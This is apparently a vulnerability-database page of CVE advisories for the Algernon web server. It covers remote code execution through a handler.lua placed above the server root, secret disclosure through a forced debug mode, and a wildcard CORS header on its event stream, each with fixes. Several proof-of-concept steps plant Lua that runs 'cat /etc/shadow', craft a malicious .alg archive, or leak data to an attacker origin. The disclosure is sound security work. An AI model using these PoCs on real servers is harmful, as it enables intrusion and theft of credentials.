VYPR

Algernon

by Xyproto

Source repositories

CVEs (6)

  • CVE-2026-45721criMay 19, 2026
    risk 0.59cvss epss

    ### Summary When Algernon is asked for any URL path that resolves to a directory *without* an index file, `DirPage` walks **upward through parent directories — past the configured server root** — looking for a file named `handler.lua` to execute as the request handler. The loop terminates only after 100 ancestor steps or when `filepath.Dir` returns `.`, so on any absolute server-root path the search reaches the filesystem root (`/` on Unix, drive letter on Windows). The first `handler.lua` it finds is loaded into the Lua interpreter with the full Algernon API exposed — including `run3()`, `httpclient`, `os.execute`, `io.popen`, `PQ`, `MSSQL`, raw filesystem access, and the userstate database. Any process that can write `handler.lua` anywhere in a parent directory of the server root obtains pre-authenticated remote code execution on the next HTTP request. This is reachable without authentication — the lookup happens before the permission check returns a hit (the perm system only gates URL prefixes, not the handler-resolution step), and any URL pointing at a directory without an index triggers the walk. On a fresh stock Algernon install the request `GET /` is enough. ### Details #### Root cause — unbounded upward search in `DirPage` ```go // engine/dirhandler.go:170-183 // Serve handler.lua, if found in parent directories var ancestor string ancestor = filepath.Dir(dirname) for range 100 { // a maximum of 100 directories deep filename = filepath.Join(ancestor, "handler.lua") if ac.fs.Exists(filename) { ac.FilePage(w, req, filename, luaDataFilename) return } if ancestor == "." { break } ancestor = filepath.Dir(ancestor) } ``` `dirname` is the absolute path of the requested directory on disk, e.g. `/srv/algernon/` when running with `--prod` (see [engine/config.go:207](../engine/config.go)). `filepath.Dir("/srv/algernon")` is `/srv`, then `/`, and `filepath.Dir("/")` returns `/` indefinitely. The break clause `if ancestor == "."` only fires for *relative* paths, so on every absolute server-root configuration the loop walks all the way to `/` and then spins on `/` for the remaining iterations until the `100` cap is hit. Each iteration calls `ac.fs.Exists(/handler.lua)`. For the canonical `--prod` invocation the candidate set is: ``` /srv/handler.lua /handler.lua ``` For `algernon /var/www/example.com`: ``` /var/www/handler.lua /var/handler.lua /handler.lua ``` For `algernon ~/site` started by user `alice`: ``` /home/alice/handler.lua /home/handler.lua /handler.lua ``` The first match wins. The match is then dispatched through `FilePage`, which for `.lua` files routes to `RunLua` (`engine/handlers.go:269`) and runs the file in a pooled `lua.LState` with the full Algernon function map attached (`engine/lua.go:30-112`). Every dangerous primitive in the engine is reachable: shell-out via `run3()` (`engine/basic.go:140-146`, calling `exec.Command("sh", "-c", ...)`), arbitrary outbound HTTP via the `httpclient` module, the unsandboxed gopher-lua `os`/`io`/`debug` libraries, and the full permissions/userstate API. #### Why the request is reachable unauthenticated The permission middleware in `RegisterHandlers` runs before `DirPage` but only rejects requests whose `req.URL.Path` matches an admin/user prefix: ```go // engine/handlers.go:510-525 allRequests := func(w http.ResponseWriter, req *http.Request) { if ac.perm != nil { if ac.perm.Rejected(w, req) { sc := sheepcounter.New(w) ac.perm.DenyFunction()(sc, req) ac.LogAccess(req, http.StatusForbidden, sc.Counter()) return } } ... ``` `Rejected` returns false for `/` because of `rootIsPublic && path == "/"` (`vendor/.../permissionbolt/v2/permissionbolt.go:118`). Anonymous `GET /` therefore reaches `DirPage`, hits the ancestor walk, and — if any `handler.lua` exists anywhere in the parent chain — executes it as the response handler for `/`. The same applies to every directory-style URL (`/foo/`, `/foo/bar/`, …) that does not contain one of the listed `index.*` files. Three exploit-amenable scenarios: 1. **Multi-tenant / shared hosting.** Operators running multiple Algernon instances from sibling directories (`/srv/tenantA`, `/srv/tenantB`) share `/srv` as a common ancestor. A `handler.lua` placed by tenant B inside `/srv` becomes the catch-all handler for tenant A's requests, executing in tenant A's process with tenant A's database, redis, and filesystem permissions. The same pattern fires when a single OS user runs several `algernon` processes from `~/sites/` — anything writable at `~/sites/` (or `~/`) escalates into every instance. 2. **CI runners, container images, dev workstations.** A repository or container that contains *any* `handler.lua` at root, in `/srv`, in `/var`, or in `/home/` — even one that pre-dates Algernon's installation, even one left over from a tutorial — becomes a remote-execution backdoor the moment Algernon starts. The current `samples/` tree contains six `handler.lua` files (`samples/handle/handler.lua`, `samples/htmx/handler.lua`, etc.); copying any of them up to a parent directory by mistake is fatal. 3. **Attacker who already has unprivileged write to any parent directory** (low-privileged user, world-writable `/tmp` if `/tmp` is on the parent chain, an extracted `.zip`/`.alg` web application that drops a `handler.lua` at the extraction root in `/dev/shm` or `serverTempDir`, etc.) gains pre-authenticated RCE for every request the Algernon process answers. The `.alg` extraction case is especially direct: `FilePage` for `.alg` files calls `unzip.Extract(filename, webApplicationExtractionDir)` with `webApplicationExtractionDir = "/dev/shm"` or the server temp dir (`engine/handlers.go:249-266`); an `.alg` archive containing a top-level `handler.lua` writes it into the extraction directory, which is itself a parent of subsequent `DirPage` calls for that application. #### Source-level evidence ```text $ rg -n 'handler\.lua' engine/ engine/dirhandler.go:170: // Serve handler.lua, if found in parent directories engine/dirhandler.go:174: filename = filepath.Join(ancestor, "handler.lua") $ rg -n 'run3|os\.execute|exec\.Command' engine/basic.go lua/run3/ engine/basic.go:142: command := L.ToString(1) engine/basic.go:144: return run3.ShellHelper(L, command, workingDir) lua/run3/run3.go:23: cmd := exec.Command("sh", "-c", command) $ rg -n 'lua\.NewState|skip(?:_)?open_libs|OpenLibs' lua/pool/ engine/ lua/pool/pool.go:34: L := lua.NewState() # No skip-libs flag is set — gopher-lua loads os, io, debug, package by default. ``` The Lua state pool issues states with stock library loading (no `SkipOpenLibs` option in [lua/pool/pool.go](../lua/pool/pool.go)), so the `handler.lua` discovered above the root has `os.execute`, `io.popen`, `package.loadlib` (DLL loading), `debug.*`, plus every Algernon-bound function. This is documented behaviour for trusted scripts *inside* the served tree; the bug is that the discovery search reaches scripts the operator never opted in to. ### PoC #### Variant A — confused-deputy via shared parent ```bash # Operator runs Algernon serving a directory under /srv: sudo mkdir -p /srv/site && echo 'hi' > /srv/site/index.html algernon --prod /srv/site & # binds :3000 # Attacker (any account with write to /srv) drops handler.lua one level up: cat > /srv/handler.lua <<'EOF' -- Runs in the Algernon process; whoami leaks the process owner. local out, _, _ = run3("id; cat /etc/shadow 2>&1 | head -3") print(out) EOF # Trigger from anywhere on the network — any directory URL that lacks an # index.* file inside /srv/site fires the parent walk. The cleanest trigger # is to request a non-existent subdir: curl -i http://server:3000/nope/ # => Algernon executes /srv/handler.lua. Response body is the captured stdout # of `id` and the first lines of /etc/shadow (if Algernon runs as root, # or the targeted file is readable by its uid). ``` #### Variant B — `.alg` archive plants `handler.lua` in `/dev/shm` `FilePage` extracts `.alg` archives into `/dev/shm` (preferred) or `serverTempDir`. An `.alg` archive crafted with a top-level `handler.lua` lands the file into a path that is a parent of every directory served out of that extraction root. ```bash # Craft a malicious .alg mkdir -p evil && cat > evil/handler.lua <<'EOF' local out, _, _ = run3("uname -a; whoami") print(out) EOF ( cd evil && zip -r ../evil.alg . ) # Once served — algernon evil.alg — any request that resolves to a directory # without an index inside the extraction root executes the attacker handler. algernon evil.alg curl -i http://localhost:3000/anything/ # walks up to /dev/shm/handler.lua ``` #### Variant C — `algernon /home//site` picks up `~/handler.lua` Any leftover `handler.lua` in the user's home directory (a tutorial fragment, a copy-paste, a file from another project) is sufficient. No attacker code is needed to reproduce: copy `samples/handle/handler.lua` into `~/` and serve any directory under `~/`. Every directory request will execute the home-directory handler. ### Impact - **Confidentiality:** high — handler runs with the Algernon process's UID and reaches every database, redis instance, secret file, and cookie secret in memory. - **Integrity:** high — handler can write to any path the process can write, including `index.lua`/`handler.lua` files of the served tree, persisting the compromise. - **Availability:** high — handler can `os.exit`, hang the LState pool, or fork shell commands. - **Scope:** changed (CVSS S:C) — a write primitive against a parent directory (which the operator may consider out of scope of Algernon entirely) crosses into the Algernon process's full authority. **Affected population:** every Algernon deployment whose server-root path has any parent directory that is writable by a less-trusted principal — which includes (a) every `--prod` install on a host where any non-root user can write to `/srv` or `/`, (b) every multi-tenant deployment under a common parent, (c) every `algernon ` invocation where `~`, `~/Desktop`, `/tmp`, `/var/tmp`, or any other ancestor is writable by anyone other than the Algernon-process owner, (d) every server that serves `.alg` archives. ### Suggestions to fix **Primary fix — clamp the walk to the server root.** `DirPage` already has access to `rootdir`; the loop must terminate once `ancestor` ceases to be a descendant of `rootdir`: ```go // engine/dirhandler.go -- replace the walk in DirPage rootAbs, err := filepath.Abs(rootdir) if err != nil { rootAbs = rootdir } ancestor, err := filepath.Abs(dirname) if err != nil { ancestor = dirname } for { // Stop before leaving the configured server root. rel, err := filepath.Rel(rootAbs, ancestor) if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) { break } candidate := filepath.Join(ancestor, "handler.lua") if ac.fs.Exists(candidate) { ac.FilePage(w, req, candidate, luaDataFilename) return } if ancestor == rootAbs { break } parent := filepath.Dir(ancestor) if parent == ancestor { // hit filesystem root without a match break } ancestor = parent } ``` The `100`-iteration cap and the `ancestor == "."` check were both attempts to bound the search; clamping to `rootdir` removes the underlying confused-deputy primitive instead. The same boundary check should be applied to the `index.*` lookup loop at `engine/dirhandler.go:162-168`, which is currently fine because `filepath.Join(dirname, indexfile)` cannot escape `dirname`, but is worth asserting explicitly so the invariant survives future refactors. **Defence in depth:** - Cache the resolved `handler.lua` path per server start and *log a warning* if the resolved file lives outside the server root. An operator who places `handler.lua` deliberately in a parent directory will see the warning and either move it or accept the risk explicitly. - For `.alg`/zip extraction, refuse archives containing a top-level `handler.lua` (or rename them on extract). The extraction directory is, by design, a parent of the served tree, so a top-level `handler.lua` in any uploaded `.alg` is the same primitive. - Document explicitly in `TUTORIAL.md` that `handler.lua` is searched in parent directories — current docs describe per-directory `handler.lua` but do not mention the upward walk. The hardening above removes the need for the warning, but the docs should track reality either way. - Consider stripping the unsandboxed Lua libraries (`os`, `io`, `package`, `debug`, `load`/`loadstring`, `run3`) when the discovered handler lives outside the configured server root, even if the walk is otherwise permitted. The audit trail is then "Lua handler ran *somewhere* the operator didn't bless, but at least it couldn't shell out." ### Live verification (2026-05-11, Algernon 1.17.6) Reproduced against a fresh `go build` of `xyproto/algernon@main` on Windows 10. **Layout:** ``` poc1/ parent/ handler.lua # ATTACKER-PLANTED, OUTSIDE the served root site/ # the directory passed to algernon subdir/ # empty subdirectory ``` `parent/handler.lua` contains: ```lua print("=== PWNED via parent handler.lua ===") print("Hostname info: ", os.getenv("COMPUTERNAME") or os.getenv("HOSTNAME") or "n/a") print("Algernon PID would be readable here; this code runs in-process.") print("Request path was reached by walking past the served root.") ``` **Run (no admin paths configured, default permissions, no auth):** ``` $ ./algernon.exe --nodb --httponly --server --addr 127.0.0.1:18765 --quiet poc1/parent/site ``` **Anonymous requests against `/` and `/subdir/`:** ``` $ curl -s -w "HTTP %{http_code}\n" http://127.0.0.1:18765/ === PWNED via parent handler.lua === Hostname info: DESKTOP-4RLE5YR Algernon PID would be readable here; this code runs in-process. Request path was reached by walking past the served root. HTTP 200 $ curl -s -w "HTTP %{http_code}\n" http://127.0.0.1:18765/subdir/ === PWNED via parent handler.lua === Hostname info: DESKTOP-4RLE5YR ... HTTP 200 ``` The handler that lives one directory **above** the configured server root (`poc1/parent/site/` was the path passed on the command line; `poc1/parent/handler.lua` is one level up and was *not* part of the served tree) executed in the Algernon process and its output became the HTTP 200 response body. The host's `COMPUTERNAME` environment variable was read via `os.getenv` and reflected back, proving the Lua state was unsandboxed (no `SkipOpenLibs`, no library stripping) — `os`, `io`, `package`, `debug` are all reachable from the discovered handler. **Both `/` and `/subdir/` reproduce.** `/` because the served root has no `index.*` files; `/subdir/` because its directory has no `index.*` files either. The walk fires in both cases and resolves to the same `handler.lua` above the root. No authentication, no `--debug`, no special flag, no `serverconf.lua`. The vulnerable code path is the default flow for any directory-style request that does not find a colocated `index.*`.

  • CVE-2026-45728higMay 19, 2026
    risk 0.45cvss epss

    ### Summary When Algernon is invoked with a single file path instead of a directory — the documented "quick demo" workflow (`algernon foo.lua`, `algernon page.po2`, `algernon index.html`, `algernon mywebsite.alg`) — `singleFileMode` is set to true and **`debugMode` is forcibly enabled** with no opt-out: ```go // engine/config.go:498-502 // Make a few changes to the defaults if we are serving a single file if ac.singleFileMode { ac.debugMode = true ac.serveJustHTTP = true } ``` `debugMode` activates the `PrettyError` renderer, which on any Lua or template error response dumps: 1. The **absolute path** of the file that errored (`Filename` field of the error template). 2. The **complete byte contents** of that file, HTML-escaped, with the offending line wrapped in `…`. 3. The exception or parser error text — which in turn often quotes additional file content (Pongo2 errors include surrounding template lines; Lua tracebacks include argument values). This response is served with `HTTP 200 OK` to whoever sent the request that triggered the error. There is no authentication, no rate limit specific to errors, no redaction, and no opt-out short of avoiding single-file invocations entirely. Any client able to reach the server and able to provoke a runtime error in the served script obtains the full server-side source of that script and of any sibling Lua data file consulted during the request. This combines particularly badly with `--prod` *not* being effective: `--prod` sets `productionMode = true` and calls `ac.debugMode = false` inside `finalConfiguration`, but `singleFileMode` is computed *after* `--prod` in `MustServe` (line 499 vs `finalConfiguration` further down) and the forced `debugMode = true` happens before `--prod`'s `debugMode = false` clamp runs — so even an operator who reasoned "I will pass `--prod` to be safe" gets debug-mode-on if they also pass a single Lua file. Operators routinely combine the two when running Algernon as a system unit (`ExecStart=algernon --prod /etc/algernon/site.lua`), unaware that single-file detection has overridden their hardening flag. ### Details #### Root cause 1 — single-file detection forces `debugMode = true` ```go // engine/config.go:441-502 (inside MustServe — abridged) switch strings.ToLower(filepath.Ext(serverFile)) { case ".md", ".markdown": ... case ".zip", ".alg": ... default: ac.singleFileMode = true } // ... // Make a few changes to the defaults if we are serving a single file if ac.singleFileMode { ac.debugMode = true ac.serveJustHTTP = true } ``` Any single-file invocation whose extension is *not* `.md`/`.zip`/`.alg` lands in the `default:` branch and turns into `singleFileMode = true`, which then sets `debugMode = true`. That includes the natural quickstart inputs — `.lua`, `.po2`, `.pongo2`, `.html`, `.amber`, `.tmpl`, `.jsx`, `.tl`, `.prompt` — every file extension Algernon recognises as a server-renderable handler. The `.lua` case has a follow-up at [engine/config.go:536-548](../engine/config.go) that resets `singleFileMode = false` so the script can read sibling files, but `debugMode` has already been written to `true` and is not unset. #### Root cause 2 — `--prod`'s clamp runs *after* the forced enable, so it is the wrong direction ```go // engine/config.go:393-397 (finalConfiguration, called from MustServe) // Turn off debug mode if production mode is enabled if ac.productionMode { // Turn off debug mode ac.debugMode = false } ``` This clamp is in `finalConfiguration`. `finalConfiguration` is invoked from `MustServe` *after* the single-file block (`MustServe` line 632: `ac.finalConfiguration(ac.serverHost)`). So the order is: ``` 1. flag parsing -> productionMode=true, debugMode=false 2. single-file detect -> debugMode = true (overrides production) 3. finalConfiguration -> if productionMode { debugMode = false } ``` On paper step 3 wins. In practice the operator-controlled execution path through `MustServe` for `.lua` files is: ``` 1. flag parsing -> productionMode=true, debugMode=false 2. single-file detect (line 493 default branch) -> singleFileMode = true 3. if singleFileMode { debugMode = true } (line 499) -> debugMode = true 4. if singleFileMode && ext==".lua" { singleFileMode = false; serverDir = Dir(...) } 5. ac.RunConfiguration(luaServerFilename, mux, true) -> Lua server-conf script runs, may register handlers 6. ac.finalConfiguration(host) -> if productionMode { debugMode = false } ← clamp restored ``` Step 5 happens *between* the forced enable and the production clamp, and inside the configuration script Lua code may already check or expose `debugMode` (the `debug()` global is wired in [engine/serverconf.go]). Anything that latches on `debugMode` during step 5 — including `RegisterHandlers` itself when called from within the server-conf script — picks up the wrong value. The clamp at step 6 may or may not retroactively fix downstream behaviour; for `PrettyError`, which reads `ac.debugMode` at request-time, the clamp does win for `.lua` single-file mode — but only because of the late ordering inside `MustServe`. For the other single-file extensions (`.po2`, `.html`, `.amber`, …), step 4's reset does not run, `singleFileMode` stays true, and `--prod` collides with `singleFileMode` semantically (a "single file" cannot meaningfully be a production system service). The forced `debugMode = true` survives because no later code branches re-clamp it for non-`.lua` paths. Empirically: `algernon --prod foo.po2` (or `.amber`, `.tmpl`) on a stock Algernon binary serves `PrettyError`-style debug responses on template failures. `--prod` does not save the operator. #### Root cause 3 — `PrettyError` discloses absolute path + full source ```go // engine/prettyerror.go:82-147 (abridged) func (ac *Config) PrettyError(w http.ResponseWriter, req *http.Request, filename string, filebytes []byte, errormessage, lang string) { w.WriteHeader(http.StatusOK) w.Header().Add(contentType, htmlUTF8) // ... linenr parsing elided ... filebytes = bytes.ReplaceAll(filebytes, []byte("<"), []byte("<")) bytelines := bytes.Split(filebytes, []byte("\n")) if (linenr >= 0) && (linenr < len(bytelines)) { bytelines[linenr] = []byte(preHighlight + string(bytelines[linenr]) + postHighlight) } code = string(bytes.Join(bytelines, []byte("\n"))) title := errorPageTitle(lang) data := struct { Title string Filename string Code string ErrorMessage string VersionString string }{ Title: title, Filename: filename, // absolute path on disk Code: code, // entire file ErrorMessage: strings.TrimSpace(errormessage), VersionString: ac.versionString, } ... } ``` The HTML template at the top of the file embeds those fields directly: ```html Contents of {{.Filename}}: {{.Code}} Error message: {{.ErrorMessage}} ``` Every byte of the script — including any DB connection string, API key, JWT signing secret, S3 access key, or hard-coded admin credential the operator left in `index.lua` for the demo — is returned to the requester. The status code is `200 OK`, so caches and logs may persist the disclosure further. #### Root cause 4 — call sites that reach `PrettyError` are exercised by ordinary, attacker-influenceable inputs ```go // engine/handlers.go (Lua handler with debugMode): if ac.debugMode { ... if err := ac.RunLua(recorder, req, filename, flushFunc, httpStatus); err != nil { errortext := err.Error() fileblock, err := ac.cache.Read(filename, ac.shouldCache(ext)) if err != nil { fileblock = datablock.NewDataBlock([]byte(err.Error()), true) } ac.PrettyError(w, req, filename, fileblock.Bytes(), errortext, "lua") } } ``` And in `PongoHandler` ([engine/handlers.go:81-92](../engine/handlers.go)): ```go if err != nil { if ac.debugMode { luablock, luablockErr := ac.cache.Read(luafilename, ac.shouldCache(ext)) if luablockErr != nil { luablock = datablock.EmptyDataBlock } ac.PrettyError(w, req, luafilename, luablock.Bytes(), err.Error(), "lua") } ... } ``` The Pongo2/Amber call sites do the same for their template languages. To trigger a Lua error, an attacker needs to push the script onto a code path the developer did not test: - Send a `GET` to an endpoint the script handles only on `POST` — most `handle()` implementations index `req` fields that crash on the wrong method. - Submit a parameter the script `tonumber()`s, with a value like `"abc"` — `tonumber` returns `nil`, and the subsequent arithmetic raises `attempt to perform arithmetic on a nil value`. - Send a request with no `Cookie` header to a script that calls `userstate:Username(req)` and indexes the result — the resulting nil-index error returns the source. - For Pongo2: send a query parameter that is referenced in a filter where the filter argument is the wrong type (`{{ foo|length }}` where `foo` is the int the script just read from `req`). These are not exotic conditions; they are first-five-minutes-of-fuzzing behaviour. ### PoC #### Variant A — `.lua` single-file invocation **does not reach `PrettyError`** Important constraint discovered during live verification: a single-file `.lua` invocation is routed through `RunConfiguration`, which registers `handle()` routes via [engine/luahandler.go:38-58](../engine/luahandler.go). Errors inside a `handle()`-registered Lua function are caught by `poolL.PCall` and reported through `logrus.Error("Handler for "+handlePath+" failed:", err)` only — they do **not** reach `PrettyError`, so a `handle("/", function() error("oops") end)` script does not disclose its source on the wire. The forced `debugMode = true` is still active for the process, and any *other* code path that calls `PrettyError` (Pongo2/Amber/Lua-file-served-from-disk) will disclose; the bare `.lua` single-file case alone does not. The advisory below has been narrowed accordingly — the operational exploit path is Variant B. #### Variant B — `.po2` single-file invocation, template-side trigger `page.po2`: ```html {# Demonstrate template error disclosure under singleFileMode #} Hello {{ user.name }} Internal token: {{ admin_token }} ``` `data.lua` (sibling, picked up automatically by `PongoHandler` at [engine/handlers.go:64-93](../engine/handlers.go)): ```lua admin_token = "AKIA-FAKE-DEMO-AAAAAAAAAA/SECRET=demoSecretBYTES" user = nil -- forces {{ user.name }} to raise ``` ```bash algernon page.po2 & curl -s 'http://localhost:3000/' # => "Lua Error" page citing /home/op/data.lua, source inlined, # `admin_token = "..."` visible to the unauthenticated requester. ``` Note the disclosed file is `data.lua`, not the template — Pongo's variable resolution drops into `Lua2funcMap`, raises, and `PongoHandler` calls `PrettyError(w, req, luafilename, luablock.Bytes(), err.Error(), "lua")`. The "single-file" invocation was for `page.po2`, but the *disclosed* file is the sibling `data.lua` that contains the actual credentials. #### Variant C — `--prod` does not block this for non-`.lua` extensions ```bash algernon --prod page.po2 & curl -s 'http://localhost:3000/' # => Same disclosure. --prod sets productionMode=true and # finalConfiguration would normally clamp debugMode back to false, # but for .po2 the singleFileMode → debugMode=true write happens at # line 499 of engine/config.go, and singleFileMode stays true (no # follow-up reset), so the engine treats this as a debug-on # single-file deployment regardless of --prod. ``` The mismatch between operator intent (`--prod`) and runtime state (`debugMode=true`) is the core severity multiplier here. The flag should win; today, file-extension detection wins. ### Impact - **Confidentiality:** high. Disclosure of server-side script source. In single-file demos, the disclosed file is typically the *entire* application — every secret, every credential, every business rule. In `--prod` deployments where an operator stitched together `serverconf.lua` + a single `app.lua`, the disclosed file is `app.lua` plus any `data.lua` consulted during the failing request. - **Integrity:** none directly. - **Availability:** none directly. **Affected population:** - Every developer running `algernon foo.lua` / `algernon page.po2` for a demo, evaluation, or local dev — the documented quickstart workflow. - Every operator running Algernon as a system service whose `ExecStart` references a single Lua/Pongo/Amber file (a common pattern given that the binary is positioned as "drop-in, single-file deploy"). - Every CI test job that exercises Algernon in single-file mode against attacker-controlled HTTP input (fuzz harnesses, integration tests with adversarial payloads). ### Suggestions to fix **Primary fix — flip the default. `singleFileMode` should *not* force `debugMode` on; it should default it on only when `--debug`/`-d` was passed explicitly.** ```go // engine/config.go:498-502 -- replace if ac.singleFileMode { // Single-file mode is a convenience for quick demos. It should // imply the relaxed serving model (no HTTPS, etc) but it must NOT // override the operator's debug/production stance. ac.serveJustHTTP = true // (do not touch ac.debugMode) } ``` If the developer wants the helpful error pages for the quickstart, they can pass `-d` (which is documented and explicit). The current behaviour is a hidden side-channel of file-extension detection. **Secondary fix — let `--prod` win unconditionally.** Hoist the production-mode clamp above the single-file detection block, so production deployments cannot have debug re-enabled by any later code path: ```go // engine/config.go -- early in MustServe, before single-file detection runs if ac.productionMode { ac.debugMode = false } // ... single-file detection still runs but its debugMode assignment is now gated: if ac.singleFileMode && !ac.productionMode { ac.debugMode = true } ``` A `--prod` invocation that *also* asks for debug should be treated as a configuration error and refused at startup with a clear log line, not silently resolved in one direction or the other. **Defence in depth — narrow what `PrettyError` discloses even when debugMode is on.** - Truncate `Filename` to its basename (`filepath.Base`) so the absolute disk path of the script is not leaked; the file name alone is enough for the developer to find the file in their editor. - Cap `Code` to ±20 lines around `linenr`; the developer rarely needs the full file to fix the error, and the cap meaningfully reduces secret leak when the file is large. - Set `Cache-Control: no-store` on the response so intermediate caches and browser back-buttons do not retain it. - Optionally, gate `PrettyError` behind a loopback / `127.0.0.1`-only check when `debugMode` is on. A developer hitting `localhost:3000` still gets the friendly error page; a remote client gets a generic 500. This matches the convention used by Rails' `consider_all_requests_local` and Django's `DEBUG = True`. **Documentation fix.** `TUTORIAL.md` and the README should call out the behaviour explicitly: "`algernon foo.lua` enables debug-mode features that disclose your script's source on errors. Do not use single-file mode to serve real workloads; use `algernon --prod /srv/algernon` against a directory." Pair the doc fix with one of the code fixes above — docs alone are not enough. ### Live verification (2026-05-11, Algernon 1.17.6) Reproduced against a fresh `go build` of `xyproto/algernon@main` on Windows 10. **Setup (Variant B — `.po2` single-file):** ``` poc4c/ page.po2 # contains {{ user.name }} and {{ admin_token }} data.lua # contains: local SECRET = "sk-LEAKCANARY-DATALUA-PRIVATE" # this is intentionally bad lua <-- parse error ``` **Run (no `--debug`, no `--server`, no extra hardening):** ``` $ ./algernon.exe --nodb --httponly --addr 127.0.0.1:18777 --quiet poc4c/page.po2 </dev/null & $ curl -s -o po2b.html -w "HTTP %{http_code} bytes %{size_download}\n" http://127.0.0.1:18777/ HTTP 200 bytes 1013 ``` **Response body (excerpt — entire file is the PrettyError page):** ```html Lua Error ... Lua Error Contents of poc-test\poc4c\data.lua: local SECRET = "sk-LEAKCANARY-DATALUA-PRIVATE" this is intentionally bad lua Error message: <string> line:2(column:7) near 'is': parse error ``` The `SECRET` from `data.lua` is rendered into the HTML response body of an unauthenticated `GET /`. No flag was passed to enable debug. The `Contents of poc-test\poc4c\data.lua:` line confirms the engine intended this as the verbose debug response, gated on `ac.debugMode == true`. **Baseline comparison — same files served in directory mode:** ``` poc4c-dir/ page.po2 data.lua # same broken file $ ./algernon.exe --nodb --httponly --server --addr 127.0.0.1:18778 --quiet poc4c-dir </dev/null & $ curl -s -o po2c.html -w "dir-mode: HTTP %{http_code} bytes %{size_download}\n" http://127.0.0.1:18778/page.po2 dir-mode: HTTP 200 bytes 0 ``` Empty body. The Lua parse error is logged but the source is not disclosed to the client. The difference between "leaks `data.lua` source verbatim" and "logs internally" is exactly the forced `debugMode = true` from `singleFileMode`. **Variant A — `.lua` single-file does NOT trigger this code path.** Verified separately: a single-file Lua script that registers `handle("/", function() error("…") end)` returned `HTTP 200` with 0-byte body when triggered. The error was visible only in the server-process log via `logrus.Error("Handler for / failed: …")`. `PrettyError` is unreachable from `handle()`-registered errors; see `engine/luahandler.go:38-58`. The Variant A scenario was dropped from the advisory. **Why `.po2` doesn't get the `.lua` reset.** The reset to `singleFileMode = false` at [engine/config.go:547](../engine/config.go) only fires for `filepath.Ext(...) == ".lua"`. For `.po2` (and `.amber`, `.html`, `.tmpl`, `.tl`, `.pongo2`) the reset never runs, the forced `debugMode = true` persists, and `PongoHandler`'s call to `PrettyError` on data-file errors disclose the source.

  • CVE-2026-46431May 20, 2026
    risk 0.00cvss epss

    ### Summary The SSE event server's `Access-Control-Allow-Origin` response header was hardcoded to the wildcard `*` regardless of the caller's `Origin`. Because `EventSource` does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin `EventSource` to the SSE port and read the live filename stream from JavaScript. Combined with the lack of authentication (advisory #2a), no further trickery is required — any tab the developer opens has script-level read access to the stream. This advisory covers the CORS configuration in isolation. The fix is independent of authentication and bind-address fixes: the wildcard could be replaced with a same-origin echo without touching either. ### Details #### Root cause — hard-coded `"*"` passed as the CORS allowed-origin ```go // engine/config.go (1.17.6, MustServe) recwatch.EventServer(absdir, "*", ac.eventAddr, ac.defaultEventPath, ac.refreshDuration) ``` The literal `"*"` is the second positional argument. The vendored `recwatch` implementation reflects it verbatim into the response header: ```go // vendor/github.com/xyproto/recwatch/eventserver.go:100-108 (1.17.6) func GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc { return func(w http.ResponseWriter, _ *http.Request) { w.Header().Set("Content-Type", "text/event-stream;charset=utf-8") w.Header().Set("Cache-Control", "no-cache") w.Header().Set("Connection", "keep-alive") w.Header().Set("Access-Control-Allow-Origin", allowed) ... } } ``` There is no decision based on the request's `Origin` header, and no allow-list mechanism — every caller is told their origin is approved. #### Why the wildcard is exploitable `EventSource` opens a `GET` request, never sends a preflight, and never carries cookies. The same-origin policy normally still blocks the response body from being read by JavaScript at a different origin — that is the role of `Access-Control-Allow-Origin`. When the server returns `*`, the browser permits the cross-origin script to read every `message` event. So a developer running `algernon -a` on their workstation, with the SSE listener at `http://127.0.0.1:5553/sse` (Windows) or `http://0.0.0.0:5553/sse` (Linux/macOS), only needs to visit *any* third-party origin in another tab for the following to drain their stream silently: ```html <!doctype html> ``` The exploit is cookie-less and CORS-clean — no SameSite, no third-party-cookie restriction, no preflight challenge applies. The user interaction is "visit a webpage," which `UI:R` in the CVSS vector reflects. ### PoC (against 1.17.6) ```bash # 1. Operator: algernon -a /path/to/project on Windows; SSE at localhost:5553 # 2. Attacker lures the developer to https://news.example: # The page contains the snippet above. # 3. EventSource opens, browser sends the request; algernon responds with # Access-Control-Allow-Origin: *, browser passes message events to the # cross-origin script; script ships filenames to attacker.example. ``` CLI reproduction of the header is identical to advisory #2a's transcript; the relevant evidence is the `Access-Control-Allow-Origin: *` value in the response, not the body. ### Impact - **Confidentiality:** medium. Cross-origin browser-tab read access to the file-change stream, with no server-side knowledge that the read happened. - **Integrity:** none. - **Availability:** none directly (the cross-origin tab does not exhaust resources beyond the user's own browser). ### Suggestions to fix **Primary fix — echo a same-origin allow-list instead of `*`.** ```go // vendor/github.com/xyproto/recwatch/eventserver.go -- in GenFileChangeEvents origin := r.Header.Get("Origin") if !isAllowedOrigin(origin) { http.Error(w, "forbidden", http.StatusForbidden) return } w.Header().Set("Access-Control-Allow-Origin", origin) w.Header().Set("Vary", "Origin") ``` The `allowed` parameter must change from `"*"` to an explicit allow-list (or a single canonical server origin) — for example, `sseScheme + "://" + ac.serverAddr`. With the server's own scheme+host+port in `Allow-Origin`, a cross-origin request from `evil.example` is rejected by the browser because the response advertises a different origin. **Defence in depth — drop the legacy dedicated-port code path.** Mounting the SSE handler on the main mux instead lets the response omit `Access-Control-Allow-Origin` entirely (same-origin only by default). The dedicated `--eventserver`-style path is the only place `Access-Control-Allow-Origin` is set in the codebase; removing the dedicated path simplifies the surface. ### Live verification ``` $ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18779 --quiet poc2/site $ ( curl -sNi --max-time 2 -H "Origin: http://evil.example" http://127.0.0.1:5553/sse > sse.txt & sleep 1 echo "trigger" >> poc2/site/probe.txt wait ) $ cat sse.txt HTTP/1.1 200 OK Access-Control-Allow-Origin: * Cache-Control: no-cache Connection: keep-alive Content-Type: text/event-stream;charset=utf-8 ... id: 0 data: C:\Users\xbox\Desktop\VulnTesting\algernon-main\poc-test\poc2\site\probe.txt ``` The `Origin: http://evil.example` request header was echoed back as `Access-Control-Allow-Origin: *` (the wildcard — browsers treat this as "any origin may read"). A cross-origin tab at any URL can run `new EventSource("http://:5553/sse")` and read the stream.

  • CVE-2026-46430May 20, 2026
    risk 0.00cvss epss

